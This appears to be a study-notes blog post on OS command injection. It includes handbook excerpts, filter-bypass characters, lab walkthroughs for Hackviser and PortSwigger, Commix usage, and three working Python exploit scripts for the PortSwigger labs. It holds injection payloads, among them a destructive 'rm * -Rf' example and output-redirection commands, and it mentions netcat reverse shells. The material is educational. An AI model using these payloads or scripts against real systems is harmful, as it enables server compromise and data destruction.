- What is OS command Injection
- Function for execution
- Payloads
- Filter bypass with character
- Command Injection in (The Web Application Hacker’s Handbook)
- Hackviser labs
- Portswigger labs (3)
- Commix tool
- Command injection video and writeups
- Resources
What is OS Command Injection?
Command injection is an cyber attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.
Function for execution
Java
C/C++
Python
exec
eval
os.system
os.popen
subprocess.popen
subprocess.call
PHP
system
shell_exec
exec
proc_open
eval
Payloads list
https://book.hacktricks.xyz/pentesting-web/command-injectionhttps://www.kitploit.com/2019/02/command-injection-payload-list.html
Filter bypass with character
special characters for Windows
( ) < > & * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , `
special characters for Linux
{ } ( ) > < & * ‘ | = ? ; [ ] $ – # ~ ! . ” % / \ : + , `
Command Injection in (The Web Application Hacker’s Handbook)
The functions commonly used to issue operating system commands, such as exec in PHP and wscript.shell in ASP, do not impose any restrictions on the scope of commands that may be performed. Even if a developer intends to use an API to perform a relatively benign task such as listing a directory’s contents, an attacker may be able to subvert it to write arbitrary fi les or launch
other programs.
Any injected commands usually run in the security context of the web server process, which often is suffi ciently powerful for an attacker to compromise the entire server.
Command injection fl aws of this kind have arisen in numerous off-the-shelf and custom-built web applications. They have been particularly prevalent within applications that provide an administrative interface to an enterprise server or to devices such as firewalls, printers, and routers.
These applications often have particular requirements for operating system interaction that lead developers to use direct commands that incorporate user-supplied data
(1)
You can normally use the ping command as a means of triggering a time delay by causing the server to ping its loopback interface for a specific period.
There are minor differences between how Windows and UNIX based platforms handle command separators and the ping command.
However, the following all-purpose test string should induce a 30-second
time delay on either platform if no filtering is in place:
ping -i 30 127.0.0.1 ; x ping -n 30 127.0.0.1 &
To maximize your chances of detecting a command injection flaw if the application is filtering certain command separators, you should also submit each of the following test strings to each targeted parameter in turn and monitor the time taken for the application to respond:
| ping –i 30 127.0.0.1 |
| ping –n 30 127.0.0.1 |
& ping –i 30 127.0.0.1 &
& ping –n 30 127.0.0.1 &
; ping 127.0.0.1 ;
%0a ping –i 30 127.0.0.1 %0a
ping 127.0.0.1
If a time delay occurs, the application may be vulnerable to command injection.
Repeat the test case several times to confirm that the delay was not the result of network latency.
You can try changing the value of the -n or -i parameters and confirming that the delay experienced varies systematically with the value supplied.
Using whichever of the injection strings was found to be successful, try injecting a more interesting command (such as ls or dir).
Determine whether you can retrieve the results of the command to your browser.
If you are unable to retrieve results directly, you have other options:
You can attempt to open an out-of-band channel back to your computer.
Try using TFTP to copy tools up to the server, using telnet or netcat to
create a reverse shell back to your computer, and using the mail command to send command output via SMTP.
You can redirect the results of your commands to a fi le within the web
root, which you can then retrieve directly using your browser. For example:
dir > c:\inetpub\wwwroot\foo.txt
- When you have found a means of injecting commands and retrieving the results, you should determine your privilege level (by using whoami command or something similar, or attempting to write a harmless file to a protected directory).
You may then seek to escalate privileges, gain backdoor access to sensitive application data, or attack other hosts reachable from the compromised server.
(2)
Any item of user-supplied data may be passed to a dynamic execution function.
Some of the items most commonly used in this way are the names and values of cookie parameters and persistent data stored in user profiles as the result of previous actions.
Try submitting the following values in turn as each targeted parameter:
;echo%20111111
echo%20111111
response.write%20111111
:response.write%20111111
Review the application’s responses. If the string 111111 is returned on its
own (is not preceded by the rest of the command string), the application
is likely to be vulnerable to the injection of scripting commands.
If the string 111111 is not returned, look for any error messages that indicate that your input is being dynamically executed and that you may need to fine-tune your syntax to achieve injection of arbitrary commands.
If the application you are attacking uses PHP, you can use the test string phpinfo(), which, if successful, returns the configuration details of the PHP environment.
If the application appears to be vulnerable, verify this by injecting some commands that result in time delays, as described previously for OS command injection. For example:
system(‘ping%20127.0.0.1’)
Command injection in PHP
The problem lies in the fact that all of them take an arbitrary string as their first parameter and simply forward it to the underlying operating system.
This doesn’t imply any risk if the string is written by the programmer, like this:
<?php
$command = "ls -l";
$output = exec($command);
?>
But, since the $command variable is a string, nothing prevents you from writing something like the below:
<?php
$command = "ls ".$_GET['modifiers'];
$output = exec($command);
?>
Here the command is being created from two sources: a fixed string (“ls “) and a URL parameter ($_GET[‘modifiers’]).
This means that the actual command that’s about to be executed depends on user input.
Let’s say someone issues a request such as http://yourdomain.com?modifiers=-l.
When the code gets executed, the value of $_GET['modifiers] will be “-l”, which will result in the command “ls -l”.
What if they were to issue a request such as http://yourdomain.com?-l%3B+rm+*+-Rf?
The resulting command would be -> “ls -l; rm * -Rf”.
If you know a little bit about the Linux console, you should recognize the command “rm * -Rf” … and be very scared. (that command means “delete every file in this directory and its subdirectories.”)
It’s very much unlikely that someone will issue such a request by mistake.
But if someone wants to break your site and they know a little PHP (or any other programming language), it’s easy to create such a string.
“-l%3B+rm+%2A+-Rf” -> it’s the result of the following:
urlencode(“-l; rm * -Rf”);
How Can an Attacker Craft a Command Injection Request?
Probably the easiest way is to use your own forms.
In the example above, imagine there’s a previous page that looks like this:
<html>
<form action="index.php">
<input name="modifiers" type="text">
<input value="Get file names" type="submit">
</form>
</html>
All the attacker would have to do is fill the field modifiers with “-l%3B+rm+%2A+-Rf” and hit “Get file names.”
Not too complicated, right?
If they wanted to go from the command line, they could use a simple tool such as cURL, like this:
The advantage for the attacker of using this mechanism is that, by using this kind of tool, it’s really easy to automate the attack.
Where Does Unsafe Data Come From?
Unsafe data can come from several different sources. So far,I discussed URL parameters, but an attacker can use any available way to
transfer information to your application, such as the following:
POST
COOKIES
HTTP headers
Uploaded files
The POST example would be really similar to the GET one, so I’ll skip it to show you how this attack could be performed using HTTP headers.
It all begins with your code using such information in order to put together a command that will be issued to the operating system:
<?php
$command = "mv ".$_SERVER['HTTP_X_FILE']." uploads/";
$output = system($command);
?>
Now, all it takes for the attack to be successful is the addition of a carefully crafted request like this one:
Hackviser labs
Basic Command Injection : This very easily lab was bypassed with character and command → |whoami ;whoami
Command Injection Filter Bypass : This laboratory was bypassed with → $(hostname) -> $()
There are other laboratories that you can use by purchasing a subscription
Portswigger Labs (3)
OS command injection, simple case
This lab is the most basic mode and commands are easily executed
For ex → 1|pwd , 1;pwd
Send data : productId=2+%26+whoami+%23&storeId=1 → URL Encoded
Exploit :
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': '[http://127.0.0.1:8080](http://127.0.0.1:8080/)', 'https': '[http://127.0.0.1:8080](http://127.0.0.1:8080/)'}
def run_command(url, command):
stock_path = '/product/stock'
command_injection = '1 & ' + command
params = {'productId': '1', 'storeId': command_injection}
r = requests.post(url + stock_path, data=params, verify=False, proxies=proxies)
if (len(r.text) > 3):
print("(+) Command injection successful!")
print("(+) Output of command: " + r.text)
else:
print("(-) Command injection failed.")
def main():
if len(sys.argv) != 3:
print("(+) Usage: %s <url> <command>" % sys.argv[0])
print("(+) Example: %s [www.example.com](http://www.example.com/) whoami" % sys.argv[0])
sys.exit(-1)
url = sys.argv[1]
command = sys.argv[2]
print("(+) Exploiting command injection...")
run_command(url, command)
if **name** == "**main**":
main()
Blind OS command injection with time delays
This lab is designed in such a way that we know that the target is vulnerable through the delay in executing the command
Send data : csrf=XdW6pgrMbijbweV0nxJmpXFNcuajA2sP&name=aa&email=hi%40gmail.com+%26+sleep+5+%23&subject=a&message=a → URL Encoded
Exploit:
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': '[http://127.0.0.1:8080](http://127.0.0.1:8080/)', 'https': '[http://127.0.0.1:8080](http://127.0.0.1:8080/)'}
def get_csrf_token(s, url):
feedback_path = '/feedback'
r = s.get(url + feedback_path, verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, 'html.parser')
csrf = soup.find("input")['value']
return csrf
def check_command_injection(s, url):
submit_feedback_path = '/feedback/submit'
command_injection = 'test@test.ca & sleep 10 #'
csrf_token = get_csrf_token(s, url)
data = {'csrf': csrf_token, 'name': 'test', 'email': command_injection, 'subject': 'test', 'message': 'test'}
res = s.post(url + submit_feedback_path, data=data, verify=False, proxies=proxies)
if (res.elapsed.total_seconds() >=10):
print("(+) Email field vulnerable to time-based command injection!")
else:
print("(-) Email field not vulnerable to time-based command injection")
def main():
if len(sys.argv) != 2:
print("(+) Usage: %s <url>" % sys.argv[0])
print("(+) Example: %s [www.example.com](http://www.example.com/)" % sys.argv[0])
sys.exit(-1)
url = sys.argv[1]
print("(+) Checking if email parameter is vulnerable to time-based command injection...")
s = requests.Session()
check_command_injection(s, url)
if **name** == "**main**":
main()
Blind OS command injection with output redirection
This lab is designed in such a way that we first save the output of a command in a file on the server and access that output through the get method.
Send data :
csrf=SrHsD9lVTpCWobnpePpMulYRGeRaFxmp&name=z&email=hi%40gmail.com+%26+whoami+>+/var/www/images/output.txt+%23&subject=z&message=z -> URL Encoded
Send request with GET for access to command output:
GET /image?filename=output.txt HTTP/2
Host: 0a1e0004045da0578823e701003c000e.web-security-academy.net
Cookie: session=gC3mIKH9dpwPFZsZZdVgacvcHQn5s7zG
Sec-Ch-Ua: “Chromium”;v=“123”, “Not:A-Brand”;v=“8”
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Sec-Ch-Ua-Platform: “Windows”
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a1e0004045da0578823e701003c000e.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: i
Exploit :
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': '[http://127.0.0.1:8080](http://127.0.0.1:8080/)', 'https': '[http://127.0.0.1:8080](http://127.0.0.1:8080/)'}
def get_csrf_token(s,url):
feedback_path = '/feedback'
r = s.get(url + feedback_path, verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, 'html.parser')
csrf = soup.find("input")['value']
return csrf
def exploit_command_injection(s, url):
submit_feedback_path = '/feedback/submit'
command_injection = 'test@test.ca & whoami > /var/www/images/output2.txt #'
csrf_token = get_csrf_token(s, url)
data = {'csrf': csrf_token, 'name': 'test', 'email': command_injection, 'subject': 'test', 'message': 'test'}
res = s.post(url + submit_feedback_path, data=data, verify=False, proxies=proxies)
print("(+) Verifying if command injection exploit worked...")
# verify command injection
file_path = '/image?filename=output2.txt'
res2 = s.get(url + file_path, verify=False, proxies=proxies)
if (res2.status_code == 200):
print("(+) Command injection successful!")
print("(+) The following is the content of the command: " + res2.text)
else:
print("(-) Command injection was not successful.")
def main():
if len(sys.argv) != 2:
print("(+) Usage: %s <url>" % sys.argv[0])
print("(+) Example: %s [www.example.com](http://www.example.com/)" % sys.argv[0])
sys.exit(-1)
url = sys.argv[1]
print("(+) Exploiting blind command injection in email field...")
s = requests.Session()
exploit_command_injection(s, url)
if **name** == "**main**":
main()
Commix Tool
My method of using commix tools
First, I save the header request in a file and use it with -r header .txt switch
The desired parameter for testing (in POST method) → ex : -p email
python3 commix.py -r header.txt -p email
For enumerate
python3 commix.py -r header.txt -p <desired parameter> –level 3 –random-agent –all
Cheatsheet for commix
https://github.com/commixproject/commix/wiki/Usage-Examples
https://github.com/commixproject/commix/wiki/Filters-Bypasses
https://github.com/commixproject/commix/wiki/Target-Applications
Command injection video and writeups
OS Command Injection POC Bug Bounty Cambridge Univercity
Writeups
https://hackerone.com/reports/1360208
https://hackerone.com/reports/1516377
Resources
Web Application Hacker’s Handbook
https://portswigger.net/web-security/os-command-injection
https://www.stackhawk.com/blog/php-command-injection